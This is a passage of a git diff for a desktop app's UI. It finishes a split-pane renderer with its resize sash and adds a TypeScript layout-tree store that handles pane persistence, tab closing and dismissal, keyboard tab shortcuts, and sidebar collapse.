+      if (!tracks[j].collapsed) {
+        return j
+      }
+    }
+
+    return -1
+  }
+
+  // Which half of this row a visible child sits in — a minimized zone's rail
+  // hugs the app edge it collapsed toward, so its divider stroke must face
+  // the content side (left rail → stroke right, right rail → stroke left).
+  const visibleOrder = tracks.map((t, j) => (t.collapsed ? -1 : j)).filter(j => j >= 0)
+
+  const railSideFor = (i: number): 'left' | 'right' => {
+    const pos = visibleOrder.indexOf(i)
+
+    return pos >= 0 && (pos + 0.5) / visibleOrder.length > 0.5 ? 'right' : 'left'
+  }
+
+  return (
+    <div
+      className={cn('flex min-h-0 min-w-0 flex-1', horizontal ? 'flex-row' : 'flex-col')}
+      data-tree-split={node.id}
+      ref={containerRef}
+    >
+      {tracks.map(({ child, collapsed, minimized, narrowCollapsed, sizing, track }, i) => {
+        const partner = collapsed ? -1 : seamPartner(i)
+        const absorbs = i === absorberIndex
+
+        return (
+          <div
+            className="relative flex min-h-0 min-w-0"
+            key={child.id}
+            style={
+              collapsed
+                ? { display: 'none' }
+                : minimized
+                  ? { flex: '0 0 auto' }
+                  : {
+                      // One flexbox formula for everything: a sized zone is
+                      // grow-0 shrink-1 from its preferred basis (it yields
+                      // gracefully on tight windows, floored by min-width);
+                      // everything else splits the leftover by weight. In an
+                      // all-fixed run an UNCAPPED last track grows into the
+                      // leftover; capped sidebars stay at their declared size.
+                      flex: track ? `${absorbs ? 1 : 0} 1 ${track}` : `${grow(i)} ${grow(i)} 0px`,
+                      // Pane-declared clamps apply along THIS split's axis only
+                      // (a rail's width clamp shouldn't constrain its height).
+                      // The absorber is uncapped by selection, so dropping its
+                      // max is a no-op; capped tracks always keep theirs.
+                      minWidth: (horizontal && sizing?.minWidth) || 0,
+                      maxWidth: horizontal && !absorbs ? sizing?.maxWidth : undefined,
+                      minHeight: (!horizontal && sizing?.minHeight) || 0,
+                      maxHeight: horizontal || absorbs ? undefined : sizing?.maxHeight
+                    }
+            }
+          >
+            {partner >= 0 && (
+              <Sash
+                disabled={minimized || tracks[partner].minimized}
+                horizontal={horizontal}
+                onDoubleClick={() => resetBoundary(partner, i)}
+                onPointerDown={e => startSash(partner, i, e)}
+              />
+            )}
+            {!narrowCollapsed && (
+              <TreeNode
+                node={child}
+                parentAxis={axis}
+                railSide={horizontal ? railSideFor(i) : undefined}
+                rootRow={rootRow || childRootRow(child)}
+              />
+            )}
+          </div>
+        )
+      })}
+    </div>
+  )
+}
+
+function Sash({
+  disabled,
+  horizontal,
+  onDoubleClick,
+  onPointerDown
+}: {
+  disabled?: boolean
+  horizontal: boolean
+  onDoubleClick?: () => void
+  onPointerDown: (e: ReactPointerEvent<HTMLDivElement>) => void
+}) {
+  return (
+    <div
+      className={cn(
+        'group absolute z-20 [-webkit-app-region:no-drag]',
+        horizontal ? 'inset-y-0 left-0 w-[9px] -translate-x-1/2' : 'inset-x-0 top-0 h-[9px] -translate-y-1/2',
+        disabled ? 'pointer-events-none' : horizontal ? 'cursor-col-resize' : 'cursor-row-resize'
+      )}
+      onDoubleClick={disabled ? undefined : onDoubleClick}
+      onPointerDown={disabled ? undefined : onPointerDown}
+      role="separator"
+    >
+      {/* Persistent hairline: same token as PaneShell's divider sash
+          (--ui-stroke-secondary) so every seam — vertical or horizontal —
+          reads identically. Sits at 0.1 so seams recede into the surface,
+          and comes up to full on hover alongside the thicker grab band. */}
+      <span
+        className={cn(
+          'absolute bg-(--ui-stroke-secondary) opacity-10 transition-opacity duration-100 group-hover:opacity-100',
+          horizontal ? 'inset-y-0 left-1/2 w-px -translate-x-1/2' : 'inset-x-0 top-1/2 h-px -translate-y-1/2'
+        )}
+      />
+      {!disabled && (
+        <span
+          className={cn(
+            'absolute bg-(--ui-sash-hover-border) opacity-0 transition-opacity duration-100 group-hover:opacity-100',
+            horizontal
+              ? 'inset-y-0 left-1/2 w-(--vscode-sash-hover-size,0.25rem) -translate-x-1/2'
+              : 'inset-x-0 top-1/2 h-(--vscode-sash-hover-size,0.25rem) -translate-y-1/2'
+          )}
+        />
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/store.ts b/ui-desktop/src/components/pane-shell/tree/store.ts
new file mode 100644
index 000000000..0b6cbf373
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/store.ts
@@ -0,0 +1,1681 @@
+/**
+ * Layout tree store: one persisted tree replaces paneStates side/band
+ * overrides. The DEFAULT tree is declared by the app root (like config);
+ * the persisted tree is the user's customization; reset returns to default.
+ */
+
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+import { SIDEBAR_COLLAPSE_MEDIA_QUERY } from '@/app/layout-constants'
+import { setPluginEnabled } from '@/contrib/plugins-store'
+import { registry } from '@/contrib/registry'
+import { translateNow } from '@/i18n'
+import { readJson, readKey, writeJson, writeKey } from '@/lib/storage'
+import { notify } from '@/store/notifications'
+import { clearAllPaneSizeOverrides } from '@/store/panes'
+import { isSecondaryWindow } from '@/store/windows'
+
+import {
+  allPaneIds,
+  type DropPosition,
+  findGroup,
+  findGroupOfPane,
+  groupLeafIds,
+  type GroupNode,
+  insertAtGroup,
+  isLayoutNode,
+  type LayoutNode,
+  mergeZonesWithPane as mergeZonesWithPaneOp,
+  mirrorTreeHorizontal,
+  movePane as movePaneOp,
+  movePanes as movePanesOp,
+  normalize,
+  removePane,
+  reorderPanesInGroup as reorderPanesInGroupOp,
+  setActivePane as setActivePaneOp,
+  setGroupHeaderHidden as setGroupHeaderHiddenOp,
+  setGroupMinimized,
+  setSplitWeights as setSplitWeightsOp,
+  type SplitNode
+} from './model'
+import { FLOATING_PLACEMENT } from './renderer/floating-rect'
+import { rootChildSide } from './renderer/track-model'
+
+// v2: v1 trees were saved against placeholder panes with index-order zone
+// assignment (chat could land in a corner cell). Retire them wholesale.
+const STORAGE_KEY = 'clawcodex.desktop.layoutTree.v2'
+
+writeKey('clawcodex.desktop.layoutTree.v1', null)
+
+let defaultTree: LayoutNode | null = null
+
+function loadPersisted(): LayoutNode | null {
+  const parsed = readJson<unknown>(STORAGE_KEY)
+
+  // Canonicalize on load: strips stale attributes older code persisted
+  // (e.g. explicit headerHidden on lone-pane zones) and re-flattens.
+  return isLayoutNode(parsed) ? normalize(parsed) : null
+}
+
+function persist(tree: LayoutNode | null) {
+  // A secondary window (single-chat pop-out) shares the origin's localStorage;
+  // writing its stripped-down DEFAULT tree back would wipe the primary's layout.
+  if (isSecondaryWindow()) {
+    return
+  }
+
+  writeJson(STORAGE_KEY, tree)
+}
+
+/** The live tree (null until a default is declared). A secondary window ignores
+ *  the persisted (primary) layout and boots to the default — nothing but its
+ *  own routed session. */
+export const $layoutTree = atom<LayoutNode | null>(isSecondaryWindow() ? null : loadPersisted())
+
+/**
+ * Which layout preset the current tree came from; `'custom'` after the user
+ * rearranges anything. Drives the picker's active highlight.
+ */
+export const $activePresetId = atom<string>(readKey('clawcodex.desktop.layoutPreset.active') ?? 'default')
+
+export function markActivePreset(id: string) {
+  $activePresetId.set(id)
+  writeKey('clawcodex.desktop.layoutPreset.active', id)
+}
+
+/** Pane id being dragged (tree drag session), null when idle. Also set to the
+ *  SESSION_TILE_DRAG sentinel while a sidebar session is dragged over the tree,
+ *  so the SAME zone overlay lights up (see session-tile-drop-bridge). */
+export const $treeDragging = atom<string | null>(null)
+
+/** Sentinel `$treeDragging` value for a session (not a pane) drag — the zone
+ *  overlay renders its normal targets, scoped to session-hosting zones. */
+export const SESSION_TILE_DRAG = '__session-tile-drag__'
+
+/**
+ * Panes hidden by app chrome toggles (titlebar sidebar / right-sidebar
+ * buttons). The tree KEEPS the zone and its mounted content; a zone whose
+ * every pane is hidden collapses to nothing until a toggle brings it back.
+ * Not persisted here — each binding's store owns persistence.
+ */
+export const $hiddenTreePanes = atom<ReadonlySet<string>>(new Set())
+
+/** Add/remove `item` in a readonly set, returning a fresh set — or null when
+ *  membership already matches `present` (so callers can early-out on a no-op). */
+function toggledSet<T>(set: ReadonlySet<T>, item: T, present: boolean): Set<T> | null {
+  if (set.has(item) === present) {
+    return null
+  }
+
+  const next = new Set(set)
+
+  if (present) {
+    next.add(item)
+  } else {
+    next.delete(item)
+  }
+
+  return next
+}
+
+export function setTreePaneHidden(paneId: string, hidden: boolean) {
+  const next = toggledSet($hiddenTreePanes.get(), paneId, hidden)
+
+  if (!next) {
+    return
+  }
+
+  $hiddenTreePanes.set(next)
+
+  // Reactive unhides (e.g. `bindPaneVisibility('files', $hasWorkspace)`) are
+  // state-driven, not user intent — opening the side or fronting the tab in
+  // response to an environmental flag change would clobber an explicit user
+  // collapse (Cmd+J) and silently re-open the rail after every session create.
+  // Callers that want user-intent semantics (open the side, front the tab)
+  // must call `revealTreePane` explicitly. We still front the pane in its
+  // group so it's visible the next time the column is shown.
+  if (!hidden) {
+    frontPaneInGroup(paneId)
+  }
+}
+
+/** Make `paneId` the active tab in its group without touching side collapse
+ *  or zone-minimized state — the safe "make it visible next time the column
+ *  is shown" primitive that reactive unhides need. */
+function frontPaneInGroup(paneId: string) {
+  const tree = $layoutTree.get()
+  const group = tree ? findGroupOfPane(tree, paneId) : null
+
+  if (!tree || !group || group.active === paneId) {
+    return
+  }
+
+  // Don't steal the active tab from a pane the user is already viewing. In the
+  // Focus layout `files` shares a group with `workspace`, so a reactive unhide
+  // (cwd arrives on the first reply) would otherwise yank the active tab off
+  // the new session onto files. Only take the active slot when the current
+  // active pane isn't itself showable — then fronting picks a valid tab.
+  if (group.active && !$hiddenTreePanes.get().has(group.active)) {
+    return
+  }
+
+  const next = setActivePaneOp(tree, group.id, paneId)
+
+  if (next !== tree) {
+    commit(next)
+  }
+}
+
+/**
+ * CLOSE — the tab context menu's "Close". Two routes:
+ *  - a registered closer (core panes whose visibility an app store owns:
+ *    review/terminal/preview/sessions) closes through that store, so the
+ *    titlebar/statusbar toggles stay truthful;
+ *  - everything else (plugin panes, unbound core panes) is DISMISSED: removed
+ *    from the tree and remembered so adoption doesn't re-add it. Reveal
+ *    intent (a preview target, ⌘G) or a layout reset un-dismisses.
+ */
+const DISMISSED_KEY = 'clawcodex.desktop.dismissedPanes.v1'
+
+function loadDismissed(): ReadonlySet<string> {
+  return new Set(readJson<string[]>(DISMISSED_KEY) ?? [])
+}
+
+export const $dismissedPanes = atom<ReadonlySet<string>>(loadDismissed())
+
+function saveDismissed(next: ReadonlySet<string>) {
+  $dismissedPanes.set(next)
+  writeJson(DISMISSED_KEY, next.size === 0 ? null : [...next])
+}
+
+function setDismissed(paneId: string, dismissed: boolean) {
+  const next = toggledSet($dismissedPanes.get(), paneId, dismissed)
+
+  if (next) {
+    saveDismissed(next)
+  }
+}
+
+const paneClosers: Record<string, () => void> = {}
+const paneOpeners: Record<string, () => void> = {}
+
+/** Pane ids whose Close an app store owns. True for the main workspace, whose
+ *  pane can't leave the tree but whose TAB can still be emptied — the close
+ *  GESTURE (⌘-click / middle-click) keys off this rather than `uncloseable`.
+ *  An atom, not a lookup: a closer registered by a wiring EFFECT lands after
+ *  the strip's first paint, and a plain read would leave that tab gestureless
+ *  until something else happened to re-render it. */
+export const $panesWithCloser = atom<ReadonlySet<string>>(new Set())
+
+/** Route a pane's Close through the app store that owns its visibility.
+ *  Passing no closer unregisters (a wiring effect's cleanup). */
+export function registerPaneCloser(paneId: string, close?: () => void) {
+  if (close) {
+    paneClosers[paneId] = close
+  } else {
+    delete paneClosers[paneId]
+  }
+
+  $panesWithCloser.set(new Set(Object.keys(paneClosers)))
+}
+
+/**
+ * Route a pane's "show it" intent through the app store that owns its
+ * visibility — the mirror of `registerPaneCloser`, so a preset can reveal a
+ * toggle-gated pane (e.g. the terminal, whose visibility ⌃`/`$terminalTakeover`
+ * owns) while the toggle stays truthful. Only panes that opt in via
+ * `data.revealOnPreset` are opened on preset apply.
+ */
+export function registerPaneOpener(paneId: string, open: () => void) {
+  paneOpeners[paneId] = open
+}
+
+// TOOL PANELS (terminal, logs, …): their toggle COLLAPSES the zone to a rail
+// (tab stays) instead of hiding it, and the tab's ✕ REMOVES it (vs a session
+// tile, whose ✕ closes the session). Membership tells the renderer which
+// semantics a tab gets. See bindPaneCollapse in the controller.
+const collapsePanes = new Set<string>()
+
+export function markCollapsePane(paneId: string) {
+  collapsePanes.add(paneId)
+}
+
+export function isCollapsePane(paneId: string): boolean {
+  return collapsePanes.has(paneId)
+}
+
+const resetHandlers = new Set<() => void>()
+
+/** Run during a layout reset, BEFORE generic adoption — lets an owner
+ *  pre-place its panes into the fresh default tree (session tiles collapse
+ *  into main as tabs) so adoption sees them already placed and never scatters
+ *  them to their old edges. */
+export function registerLayoutResetHandler(fn: () => void): () => void {
+  resetHandlers.add(fn)
+
+  return () => {
+    resetHandlers.delete(fn)
+  }
+}
+
+/** The zone the user last interacted with (clicked / focused into) — the ⌘W
+ *  target when nothing is DOM-focused (activeElement is often `body` after a
+ *  click lands on a non-focusable surface). Tracked by trackActiveTreeGroup. */
+export const $activeTreeGroup = atom<null | string>(null)
+
+/** Bumped whenever a pane's contributed STRIP TOOLS change shape (a toggle
+ *  flipped, a handle registered). The strip reads `stripTools()` during render,
+ *  so it needs one signal to re-read — generic on purpose: the tree knows
+ *  nothing about what any pane's tools mean. */
+export const $stripToolsRevision = atom(0)
+
+export function invalidateStripTools() {
+  $stripToolsRevision.set($stripToolsRevision.get() + 1)
+}
+
+/** Record the interacted zone (pointerdown / focusin). Idempotent. */
+export function noteActiveTreeGroup(groupId: null | string) {
+  if (groupId !== $activeTreeGroup.get()) {
+    $activeTreeGroup.set(groupId)
+  }
+}
+
+/** The zone the pointer is currently over, or null off every zone. Transient —
+ *  it only OVERRIDES the focused zone while the mouse actually sits in one, so
+ *  moving the pointer away reverts the tab verbs to real focus rather than
+ *  stranding them on whatever the mouse last brushed past. */
+export const $hoveredTreeGroup = atom<null | string>(null)
+
+/** Record the hovered zone (pointerover / pointer leaving the window). Idempotent. */
+export function noteHoveredTreeGroup(groupId: null | string) {
+  if (groupId !== $hoveredTreeGroup.get()) {
+    $hoveredTreeGroup.set(groupId)
+  }
+}
+
+/** The zone every keyboard tab verb acts on, as an ELIGIBILITY LADDER: the
+ *  hovered zone, else the focused one, else the workspace's. Each rung must
+ *  satisfy `eligible` to claim the keys, so a pointer parked somewhere that
+ *  can't serve the verb — the sidebar, the titlebar, a single-pane rail —
+ *  hands off to the next rung instead of swallowing the keystroke. Hover-first
+ *  is what makes ⌘1…⌘9 land in the pane you're pointing at without clicking
+ *  into it; the rungs below are why the keys still work when you're pointing
+ *  at nothing. One resolver so the number keys, ⌃Tab, and the ⌘W / ⌘T family
+ *  can never disagree about which zone is "the" zone. */
+function tabTargetGroup(eligible: (group: GroupNode) => boolean): GroupNode | null {
+  const tree = $layoutTree.get()
+
+  if (!tree) {
+    return null
+  }
+
+  for (const groupId of [$hoveredTreeGroup.get(), $activeTreeGroup.get()]) {
+    const group = groupId ? findGroup(tree, groupId) : null
+
+    if (group && eligible(group)) {
+      return group
+    }
+  }
+
+  const main = findGroupOfPane(tree, 'workspace')
+
+  return main && eligible(main) ? main : null
+}
+
+const treeGroupOfEvent = (event: Event): null | string => {
+  const el = event.target instanceof HTMLElement ? event.target : null
+
+  return el?.closest<HTMLElement>('[data-tree-group]')?.dataset.treeGroup ?? null
+}
+
+/** Install the zone trackers (call once from the tree root). Records the
+ *  `[data-tree-group]` under each pointerdown / focusin so ⌘W knows which
+ *  zone's tab to close even when nothing is DOM-focused, and the one under the
+ *  pointer so the tab verbs follow the mouse. */
+export function trackActiveTreeGroup(): () => void {
+  const trackActive = (event: Event) => {
+    const groupId = treeGroupOfEvent(event)
+
+    if (groupId) {
+      noteActiveTreeGroup(groupId)
+    }
+  }
+
+  // `pointerover` fires on every element boundary crossing (not every mouse
+  // move), so leaving the panes for the titlebar reports null and the override
+  // lifts on its own.
+  const trackHover = (event: Event) => noteHoveredTreeGroup(treeGroupOfEvent(event))
+  const clearHover = () => noteHoveredTreeGroup(null)
+
+  window.addEventListener('pointerdown', trackActive, true)
+  window.addEventListener('focusin', trackActive, true)
+  window.addEventListener('pointerover', trackHover, true)
+  document.documentElement.addEventListener('pointerleave', clearHover)
+  window.addEventListener('blur', clearHover)
+
+  return () => {
+    window.removeEventListener('pointerdown', trackActive, true)
+    window.removeEventListener('focusin', trackActive, true)
+    window.removeEventListener('pointerover', trackHover, true)
+    document.documentElement.removeEventListener('pointerleave', clearHover)
+    window.removeEventListener('blur', clearHover)
+  }
+}
+
+const isUncloseablePane = (paneId: string): boolean =>
+  Boolean(
+    (registry.getArea('panes').find(c => c.id === paneId)?.data as { uncloseable?: boolean } | undefined)?.uncloseable
+  )
+
+/** A pane that belongs to a CHAT tab strip — the workspace or a session tile.
+ *  Chat surfaces only: this gates where a session may DOCK (drops, ⌘T's "+"),
+ *  not which zones the generic tab verbs serve — that's `isMainStripPane`. */
+export const isSessionStripPane = (paneId: string): boolean =>
+  paneId === 'workspace' || paneId.startsWith('session-tile:')
+
+/** Any MAIN-placement tile's pane — a session, a page, a preview. The zones
+ *  these stack into are real tab strips, so the generic tab verbs (⌘W, ⌃Tab)
+ *  must serve them all; keying on the session prefix left ⌘W and ⌃Tab dead
+ *  over a Browser/page zone while ⌘1…⌘9 worked. Standing side chrome (files /
+ *  sessions / terminal) isn't 'main', so those zones still fall through. */
+export const isMainStripPane = (paneId: string): boolean =>
+  (registry.getArea('panes').find(c => c.id === paneId)?.data as { placement?: string } | undefined)?.placement ===
+  'main'
+
+/** The zone the session-tab verbs (⌘T / ⌘⇧T / the strip's "+") act on: the
+ *  first of hovered / focused / workspace that hosts a chat strip. Same ladder
+ *  ⌘1…⌘9 indexes, so the number keys and the tab verbs can't disagree about
+ *  which strip is "the" strip. A target parked in the sidebar / terminal /
+ *  files must NOT retarget them — those zones fall through to main rather
+ *  than letting ⌘T dock a session into the file tree. */
+function focusedSessionGroup(): GroupNode | null {
+  return tabTargetGroup(group => group.panes.some(isSessionStripPane))
+}
+
+/** The pane a NEW session tab should dock beside (⌘T): the focused chat zone's
+ *  active session pane, else its first. Null when no zone hosts a chat strip —
+ *  the caller falls back to the workspace. */
+export function focusedSessionTabAnchor(): null | string {
+  const group = focusedSessionGroup()
+
+  if (!group) {
+    return null
+  }
+
+  const active = group.active
+
+  return active && isSessionStripPane(active) ? active : (group.panes.find(isSessionStripPane) ?? null)
+}
+
+/** ⌘W: close the FOCUSED tile zone's active tab, unless it's the uncloseable
+ *  workspace itself. Any main-strip zone qualifies — a session stack, a lone
+ *  Browser/page tile — while side chrome (files / terminal) in a zone of its
+ *  own falls through to its own rung. Keying eligibility on the chat strip
+ *  made ⌘W over a lone preview zone fall all the way through and empty the
+ *  MAIN chat instead. Returns false when there's nothing to close, so ⌘W
+ *  stays a no-op — it never closes the window. */
+export function closeFocusedSessionTab(): boolean {
+  const active = tabTargetGroup(group => group.panes.some(isMainStripPane))?.active
+
+  if (!active || isUncloseablePane(active)) {
+    return false
+  }
+
+  closeTreePane(active)
+
+  return true
+}
+
+/** ⌘W / zone-menu Close over a TOOL PANEL (terminal / logs): take the tab OUT
+ *  of the strip like any other tab, and sync the owning store so its toggle
+ *  (⌃` / the ⌘K row) stays truthful and can bring the pane back.
+ *
+ *  A tool panel's closer is its visibility STORE, so routing Close through
+ *  `closeTreePane` only collapsed the zone to a rail — the tab stayed put and
+ *  Close read as a no-op. Dismiss first so the store listener's collapse lands
+ *  on an absent pane instead of minimizing a shared zone's surviving sibling. */
+export function closeToolPane(paneId: string) {
+  dismissTreePane(paneId)
+  paneClosers[paneId]?.()
+}
+
+/** ⌘W over a TOOL PANEL zone (terminal / logs): close its active tab, the same
+ *  as any other tab. These zones host no chat strip, so `focusedSessionGroup`
+ *  skips them — without this rung ⌘W was a dead key over the terminal and the
+ *  logs pane, the only tabs in the app you couldn't close from the keyboard. */
+export function closeFocusedToolTab(): boolean {
+  const group = tabTargetGroup(g => g.panes.some(isCollapsePane))
+  const active = group?.active
+
+  if (!active || !isCollapsePane(active)) {
+    return false
+  }
+
+  closeToolPane(active)
+
+  return true
+}
+
+/** Closeable siblings of `paneId` within its group, split by position — powers
+ *  the tab menu's Close-others / Close-to-the-right verbs (and their enablement). */
+function closeableTreeSiblings(paneId: string): { others: string[]; right: string[] } {
+  const tree = $layoutTree.get()
+  const panes = (tree ? findGroupOfPane(tree, paneId) : null)?.panes ?? []
+  const idx = panes.indexOf(paneId)
+
+  return {
+    others: panes.filter(id => id !== paneId && !isUncloseablePane(id)),
+    right: panes.filter((id, i) => i > idx && !isUncloseablePane(id))
+  }
+}
+
+/** Closeable-tab counts for a tab's menu enablement (`all` includes self). */
+export function treeTabCloseTargets(paneId: string): { all: number; others: number; right: number } {
+  const { others, right } = closeableTreeSiblings(paneId)
+
+  return { all: others.length + (isUncloseablePane(paneId) ? 0 : 1), others: others.length, right: right.length }
+}
+
+/**
+ * RELOAD — a pane's remount counter, the tab menu's Reload (browser parity:
+ * right-click a tab, reload what's in it). The zone renderer keys a pane's
+ * body layer on its epoch, so bumping it unmounts the contribution and mounts
+ * it fresh — data effects re-run, measurements are retaken — while the layout
+ * tree, the tab's position, and every other tab stay exactly as they were.
+ * Absent until a pane is first reloaded (no key churn on a normal boot).
+ */
+export const $treePaneEpochs = atom<Readonly<Record<string, number>>>({})
+
+export function reloadTreePane(paneId: string): void {
+  const epochs = $treePaneEpochs.get()
+
+  $treePaneEpochs.set({ ...epochs, [paneId]: (epochs[paneId] ?? 0) + 1 })
+}
+
+/** Close a tab the way its kind expects: a tool panel leaves the strip (and
+ *  syncs its toggle), everything else routes through its owning Close. */
+export function closeTabPane(paneId: string) {
+  if (isCollapsePane(paneId)) {
+    closeToolPane(paneId)
+  } else {
+    closeTreePane(paneId)
+  }
+}
+
+export function closeOtherTreeTabs(paneId: string): void {
+  closeableTreeSiblings(paneId).others.forEach(closeTabPane)
+}
+
+export function closeTreeTabsToRight(paneId: string): void {
+  closeableTreeSiblings(paneId).right.forEach(closeTabPane)
+}
+
+/** Close every closeable tab in `paneId`'s group (the uncloseable workspace stays). */
+export function closeAllTreeTabs(paneId: string): void {
+  const tree = $layoutTree.get()
+  const panes = (tree ? findGroupOfPane(tree, paneId) : null)?.panes ?? []
+
+  panes.filter(id => !isUncloseablePane(id)).forEach(closeTabPane)
+}
+
+/** Pane ids in the tree under a `${prefix}:` namespace — lets a mirror prune
+ *  panes the SHARED (cross-profile) tree persisted for tiles that no longer
+ *  back the current profile (a profile switch reloads with the other profile's
+ *  tile panes still stacked in). */
+export function treePanesWithPrefix(prefix: string): string[] {
+  const tree = $layoutTree.get()
+
+  return tree ? allPaneIds(tree).filter(id => id.startsWith(prefix)) : []
+}
+
+/** The main tab strip's "+": open a new session as its own tab (reusing an
+ *  already-open unused tab when one exists, so repeated clicks don't pile up
+ *  empty sessions). The app wiring registers the concrete action so this
+ *  generic renderer stays session-agnostic; null until wired (the "+" hides).
+ *  An atom so the strip re-renders when the action becomes available. */
+export const $newSessionTabAction = atom<(() => void) | null>(null)
+
+/**
+ * Keyboard slots (⌘1…⌘9, ⌃Tab) must index the SAME tabs the strip paints —
+ * chrome-hidden panes (files in Focus layout), unregistered ones, and
+ * narrow-collapsed collapsibles stay in `group.panes` but aren't chips. Walking
+ * the raw array made ⌘2 land on what the strip called tab 1 after a hidden
+ * pane sat earlier in the list (classic after-⌘W-shift offset).
+ */
+function shownPanesInGroup(group: { panes: readonly string[] }): string[] {
+  const hidden = $hiddenTreePanes.get()
+  const registered = registry.getArea('panes')
+  const paneFor = (id: string) => registered.find(c => c.id === id)
+
+  return group.panes.filter(id => {
+    const pane = paneFor(id)
+
+    if (!pane) {
+      return false
+    }
+
+    if (hidden.has(id)) {
+      return false
+    }
+
+    // Match TreeGroup's paneShown for the narrow breakpoint — collapsible
+    // panes drop out of the strip when the viewport collapses them.
+    if (
+      typeof window !== 'undefined' &&
+      window.matchMedia?.(SIDEBAR_COLLAPSE_MEDIA_QUERY).matches &&
+      Boolean((pane.data as { collapsible?: boolean } | undefined)?.collapsible)
+    ) {
+      return false
+    }
+
+    return true
+  })
+}
+
+/** ⌘1…⌘9: activate the Nth *visible* tab of the target zone — the first of
+ *  hovered / focused / workspace that is a real tab strip (≥2 shown panes).
+ *  Pointing at the sidebar (or nothing) therefore still switches main's tabs
+ *  instead of dead-ending. Returns the activated pane id — the caller needs to
+ *  know when the slot landed on the workspace tab (a full page covering it
+ *  must also route back to the chat) — or null so it falls back to its
+ *  default (profile switch) when no zone qualifies. */
+export function activateTreeTabSlot(slot: number): null | string {
+  const group = tabTargetGroup(candidate => shownPanesInGroup(candidate).length >= 2)
+  const panes = group ? shownPanesInGroup(group) : []
+
+  if (!group || slot < 1 || slot > panes.length) {
+    return null
+  }
+
+  activateTreePane(group.id, panes[slot - 1])
+
+  return panes[slot - 1]
+}
+
+/** ⌃Tab / ⌃⇧Tab: cycle the target zone's *visible* tabs (wrapping) — the first
+ *  of hovered / focused / workspace that is a tile strip with ≥2 shown tabs
+ *  (any main-placement tenant: sessions, pages, previews). Returns the
+ *  activated pane id (see `activateTreeTabSlot` — landing on the workspace
+ *  under a full page must route back to the chat), or null so the caller
+ *  falls back to the recent-session switcher when no zone qualifies. */
+export function cycleTreeTabInFocusedZone(direction: 1 | -1): null | string {
+  const group = tabTargetGroup(candidate => {
+    const shown = shownPanesInGroup(candidate)
+
+    return shown.length >= 2 && shown.some(isMainStripPane)
+  })
+
+  if (!group) {
+    return null
+  }
+
+  const panes = shownPanesInGroup(group)
+
+  // Active may itself be hidden (Files collapsed mid-cycle) — treat it as
+  // missing so the step starts from a real chip rather than landing on a ghost.
+  const current = Math.max(0, panes.indexOf(group.active ?? ''))
+  const idx = panes.includes(group.active ?? '') ? current : 0
+  const nextId = panes[(idx + direction + panes.length) % panes.length]
+  activateTreePane(group.id, nextId)
+
+  // Cycling onto a session/main tab must surface the name card — a zone that
+  // was double-tap-hidden stays headerless otherwise ("the one that cycles
+  // never gets it").
+  if (isMainStripPane(nextId)) {
+    setTreeGroupHeaderHidden(group.id, false)
+  }
+
+  return nextId
+}
+
+/** Remove a pane from the tree WITHOUT a dismissal record — for surfaces
+ *  whose lifecycle an owner store drives (session tiles): the owner removes
+ *  the contribution too, and a later re-open must re-adopt cleanly. */
+export function removeTreePane(paneId: string) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    commit(removePane(tree, paneId))
+  }
+}
+
+/** The layout's root ROW — the split that contains main + the side columns.
+ *  Usually the root itself (Default, Focus); in a column-root layout (Terminal
+ *  deck, Quad) it's the row child that holds sessions/workspace/files. Returns
+ *  null when the tree has no row split with side-eligible panes. */
+function rootRow(): SplitNode | null {
+  const tree = $layoutTree.get()
+
+  if (!tree || tree.type !== 'split') {
+    return null
+  }
+
+  if (tree.orientation === 'row') {
+    return tree
+  }
+
+  // Column root: find the row child that contains the main pane — that's the
+  // row the side-collapse system operates on (sessions left, files right).
+  const panes = registry.getArea('panes')
+
+  const hasMain = (node: LayoutNode): boolean => {
+    if (node.type === 'group') {
+      return node.panes.some(
+        id => (panes.find(p => p.id === id)?.data as { placement?: string } | undefined)?.placement === 'main'
+      )
+    }
+
+    return node.children.some(hasMain)
+  }
+
+  return (
+    (tree.children.find(child => child.type === 'split' && child.orientation === 'row' && hasMain(child)) as
+      SplitNode | undefined) ?? null
+  )
+}
+
+/** Which root-row side a pane currently lives in, or null when it's nested
+ *  with main (dragged into the middle) — where a side collapse can't hide it.
+ *  Lets side-bound closers (files/sessions) fall back to dismissal. */
+export function paneRootSide(paneId: string): null | TreeSide {
+  const row = rootRow()
+
+  if (!row) {
+    return null
+  }
+
+  const panes = registry.getArea('panes')
+  const child = row.children.find(c => allPaneIds(c).includes(paneId))
+
+  return child ? rootChildSide(child, id => panes.find(p => p.id === id)) : null
+}
+
+/** The closer-less Close: dismiss the pane (removed + remembered; reveal
+ *  intent or a layout reset un-dismisses). */
+export function dismissTreePane(paneId: string) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    setDismissed(paneId, true)
+    commit(removePane(tree, paneId))
+  }
+}
+
+export function closeTreePane(paneId: string) {
+  const closer = paneClosers[paneId]
+
+  if (closer) {
+    closer()
+
+    return
+  }
+
+  // A plugin's pane: Close = DISABLE the plugin — the same switch as
+  // Settings → Plugins, so recovery is discoverable and symmetric. The
+  // contribution unregisters but the pane id STAYS in the tree, so
+  // re-enabling restores it exactly where it was. (Dismissal + removal
+  // would strand the pane with no way back short of a layout reset.)
+  const source = registry.getArea('panes').find(c => c.id === paneId)?.source
+
+  if (source?.startsWith('plugin:')) {
+    const pluginId = source.slice('plugin:'.length)
+    void setPluginEnabled(pluginId, false)
+    notify({
+      kind: 'info',
+      title: translateNow('zones.pluginDisabled', pluginId),
+      message: translateNow('zones.pluginDisabledBody')
+    })
+
+    return
+  }
+
+  dismissTreePane(paneId)
+}
+
+/**
+ * POSITIONAL side collapse — the titlebar's left/right sidebar toggles (and
+ * ⌘B / ⌘J). Everything on that side of the MAIN zone in the root row hides
+ * together, whatever panes live there (this is what makes the buttons agree
+ * with a rearranged layout; the flip derivation works the same way). An AND
+ * on top of per-pane visibility: zone shown ⇔ side open ∧ some pane shown.
+ */
+export type TreeSide = 'left' | 'right'
+
+export const $collapsedTreeSides = atom<ReadonlySet<TreeSide>>(new Set())
+
+// Side visibility is DERIVED from an app store (the binding owns persistence
+// + button state). Reveals un-collapse the column directly instead of writing
+// back through the setter — the right side's store IS the file tree's toggle,
+// so a neighbour's reveal must not press it. Layout reset still reopens every
+// side through its setter, because there the toggles SHOULD move.
+const sideOpeners: Partial<Record<TreeSide, (open: boolean) => void>> = {}
+
+export function setTreeSideCollapsed(side: TreeSide, collapsed: boolean) {
